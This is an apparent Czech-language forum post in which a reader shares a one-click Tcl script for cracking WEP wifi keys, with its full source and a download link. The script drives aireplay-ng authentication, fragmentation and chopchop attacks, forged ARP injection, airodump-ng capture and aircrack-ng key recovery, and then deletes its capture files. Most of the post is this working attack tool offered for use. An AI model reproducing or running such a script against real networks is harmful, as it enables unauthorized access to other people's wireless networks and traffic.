WS shell skript po crack WEP klíče

Zdravím team kolem webu airdump.cz. Dnes jsem na netu objevil zajímavý skript, který „jedním klikem“ provede útok na wep klíč. Jen tak jsem jej zkusil a behem necelých 3 minut bylo hotovo. WiFi síť „xploitz“ jsem pouze testoval a na Access Point nebyl připojen žádny klient, takže žádny provoz na síti. Distribuce Backtrack 3 Final, wifi karta mini-PCIe Aheros AR5006EG, integrovaná v notebooku. V příloze přikládám zmíněny skript (viz odkaz na download), u kterého je přiložen ještě jeden soubor „ws.sh“. Ten pri spuštění prvně do terminálu vypíše příkaz pro použití skriptu: „Usage ws: ./ws.tcl <essid> <interface> <channel>“

Přikládám i screenshot, ať můžete sami zvážit kam to v případě zájmu umístite. Ostatně uvádím zdroj, je zde. S pozdravem Marcos

Použití skriptu je: ./ws.tcl <essid> <interface> <channel>

Screenshot

WS skript screenshot v akci aircrack

Download (adresář: wep-crack název souboru ws.rar).

Zdroják:

#!/usr/bin/tclsh

set essid „\“[join [lrange [split $argv] 0 end-2]]\“"
set iface [lindex [split $argv] end-1]
set channel [lindex [split $argv] end]
exec iwconfig $iface channel $channel
set debug 0

if {$debug} {
puts „Essid: $essid\nIface: $iface\nChannel: $channel“
}

proc unblock {channel} {
fconfigure $channel -buffering none -blocking 0
return $channel
}

proc do_auth {essid iface} {
set assoc [open "|/usr/local/sbin/aireplay-ng -1 900 -e $essid $iface"]
return [unblock $assoc]
}

proc check_auth {assoc} {
set prevline „“
while {[set curline [gets $assoc]] != „“} {
if {$::debug} {puts $curline}
if {[string match "*Association successful*" $curline]} {
puts „Associated successfully.“
set ::authed 1
} elseif {[regexp {Using the device MAC $(.+?)$} $curline tmp ::hmac]} {
puts „Device MAC $::hmac“
} elseif {[regexp {Found BSSID "(.+?)"} $curline tmp ::bmac]} {
puts „AP MAC $::bmac“
}
}
}

proc do_chop {essid iface} {
puts „Running chopchop attack…“
set chop [open "|/usr/local/sbin/aireplay-ng -4 -F -h $::hmac -e $essid $iface" r+]
return [unblock $chop]
}

proc do_frag {essid iface} {
puts „Running fragmentation attack…“
set frag [open "|/usr/local/sbin/aireplay-ng -5 -F -e $essid $iface" r+]
return [unblock $frag]
}

proc check_gen {frag} {
while {[set curline [gets $frag]] != „“} {
if {$::debug} {puts $curline}
if {[regexp -line {^Saving keystream in (.+?)$} $curline tmp filename]} {
return $filename
} elseif {[string match "Still nothing*" $curline]} {
puts $frag „n\n“
flush $frag
}
}
return 0
}

proc make_packet {xor} {
catch {exec packetforge-ng -0 -a $::bmac -h $::hmac -k 192.168.1.100 -l 192.168.1.101 -y $xor -w arp-request}
}

proc do_inj {iface essid} {
set inj [open "|/usr/local/sbin/aireplay-ng -3 -r arp-request -e $essid -F $iface"]
puts „Injecting generated packet…“
return [unblock $inj]
}

proc do_arpinj {iface essid} {
set inj [open "|/usr/local/sbin/aireplay-ng -3 -e $essid -F $iface -x 900"]
puts „Listening for ARP packets…“
return [unblock $inj]
}

proc check_arpinj {arpinj frag chop} {
while {[set curline [gets $arpinj]] != „“} {
if {$::debug} {puts $curline}
if {!$::replaystarted && [regexp -line {^Read \d+ packets} $curline] && ![regexp {got 0 ARP requests} $curline]} {
puts „Replaying ARP packets.“
catch {exec kill -9 [pid $frag]} tmp
catch {exec kill -9 [pid $chop]} tmp
catch {exec kill -9 [pid $::inj]} tmp
set ::replaystarted 1
return 1
}
}
return 0
}

proc do_dump {iface chan} {
puts „Packet capture started.“
set aero [open "|/usr/local/sbin/airodump-ng --channel $chan -w temp $iface"]
return [unblock $aero]
}

proc do_crack {essid} {
puts „Starting crack…“
after 500
set ac [open "|/usr/local/bin/aircrack-ng -z -q -e $essid -b $::bmac [pwd]/temp-01.cap“]
return [unblock $ac]
}

proc check_crack {ac} {
while {[set curline [gets $ac]] != „“} {
if {$::debug} {puts $curline}
if {[regexp -line {^KEY FOUND.+?$} $curline key]} {
puts $key
return 1
}
}
return 0
}

proc do_cleanup {} {
puts „Cleaning up…“
eval file delete [glob *.cap]
catch {eval file delete [glob *.xor]}
file delete temp-01.txt
file delete arp-request
}

set time [clock seconds]
set authstarted 0
set authed 0
set fragstarted 0
set fragged 0
set forged 0
set injecting 0
set airodump 0
set aircrack 0
set arpinjstarted 0
set finished 0
set replaystarted 0
set inj „“

while {true} {
if {!$authstarted} {
set assoc [do_auth $essid $iface]
set authstarted 1
}
check_auth $assoc

if {!$fragstarted && $authed} {
set frag [do_frag $essid $iface]
set chop [do_chop $essid $iface]
set arpinj [do_arpinj $iface $essid]
set fragstarted 1
set arpinjstarted 1
}

if {$arpinjstarted} {
set cur [check_arpinj $arpinj $frag $chop]
if {!$injecting && $cur} {
set injecting $cur
}
}

if {$fragstarted && !$fragged && !$injecting} {
if {[set xor [check_gen $frag]] != 0 || [set xor [check_gen $chop]] != 0} {
puts „Got keystream…“
set fragged 1
}
}

if {$fragged && !$forged && !$injecting} {
make_packet $xor
set forged 1
}

if {$forged && !$injecting} {
set inj [do_inj $iface $essid]
set injecting 1
}

if {$injecting && !$airodump} {
file delete temp-01.cap
file delete temp-01.txt
set dump [do_dump $iface $channel]
set airodump 1
}

if {$airodump && !$aircrack && [file exist [pwd]/temp-01.cap]} {
set ac [do_crack $essid]
set aircrack 1
}

if {$aircrack} {
set finished [check_crack $ac]
}

if {$finished} {
do_cleanup
catch {exec kill [pid $dump]} tmp
catch {exec killall aireplay-ng} tmp
break
}
after 10
}
puts „Time taken: [expr [clock seconds] – $time] seconds“
exit